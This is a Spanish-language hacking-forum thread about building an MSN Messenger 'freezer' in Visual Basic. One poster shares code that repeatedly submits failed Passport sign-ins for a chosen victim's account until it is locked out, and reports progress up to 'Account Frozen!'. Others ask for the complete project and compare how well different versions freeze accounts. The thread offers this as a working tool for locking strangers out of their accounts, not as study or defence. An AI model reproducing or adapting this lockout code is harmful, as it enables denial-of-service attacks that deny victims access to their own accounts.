Autor
|
Tema: Fabricando un congelador tipo ice cold en vb[Optimizado] (Leído 30,599 veces)
|
Tughack
Desconectado
Mensajes: 490
|
Exacto! Veo k entiendeste perfectamente lo k dice. La diferencia esk lo hago con el control inet ya k no me importa la dependencia y no hay k hacer nada como la funcion Satura. Aki la parte del codigo k uso para los requests: . . . Case "USR 3" sTmp = Split(sData, "USR 3 TWN S ") sChallengeString = sTmp(1) netMain.Execute "https://nexus.passport.com/rdr/pprdr.asp", "GET" Do Until netMain.StillExecuting = False DoEvents Loop iStart = InStr(netMain.GetHeader("PassportURLs"), "DALogin=") + 8 iLength = InStr(iStart, netMain.GetHeader("PassportURLs"), ",") sDALogin = Mid(netMain.GetHeader("PassportURLs"), iStart, iLength - iStart) netMain.Execute "https://" & sDALogin, "GET", , "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & FixAccount(txtAccount.Text) & ",pwd=password," & sChallengeString Do Until netMain.StillExecuting = False DoEvents Loop If bLock = True Then If stbMain.Panels(1).Text <> ">> Account Frozen!" Then If stbMain.Panels(1).Text <> ">> Freezing... [90%]" Then iStatus = iStatus + 10 stbMain.Panels(1).Text = ">> Freezing... [" & iStatus & "%]" Call basTray.Modify(Me, "ICEBERG", "Freezing... [" & iStatus & "%]") Else iStatus = 0 stbMain.Panels(1).Text = ">> Account Frozen!" Call basTray.Modify(Me, "ICEBERG", "Account Frozen!") End If End If sckMain.Close sckMain.Connect "messenger.hotmail.com", 1863 End If End Select . . .
Salu2
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.325
kizar_net
|
Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza. En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.
|
|
|
En línea
|
|
|
|
Tughack
Desconectado
Mensajes: 490
|
Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza. Si eso da =, el controlo inet no es mas k un ocx k utiliza esas apis, aunk es mas facil de usar xD En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo. 100% de acuerdo, lo dice hace unos posts atras.. Salu2
|
|
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
Tughack podrias postear el proyecto completo?
|
|
|
En línea
|
|
|
|
|
Tughack
Desconectado
Mensajes: 490
|
Se referia a mi Freezer, el Iceberg, hasta ahora solo postee el binario. Tughack podrias postear el proyecto completo?
Pues no se pork, con el codigo de kizar ya lo pueden hacer bien. Creo k este tema ha sido bien explorado en lo k toca a codigo, solo tienen k leer y haran uno k funcione. Salu2
|
|
|
En línea
|
|
|
|
Freeze.
|
Sep pero el se refiere al de TugHack... si no me equivoco...
|
|
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
Si me referia al de TugHack... el de kisar que lo posteo completo no me freeaba las cuentas...pero del de Tughack parece q si lo hace y bastante bien.. asi q xq no compartirlo... la mayoria no del todo xq se que ha sido mucho trabajo para ti. Gracias TugHack. kizar tbn ya esta apunto de lograrlo que bien...
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.325
kizar_net
|
|
|
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
pero el proyecto completo?
|
|
|
En línea
|
|
|
|
|
|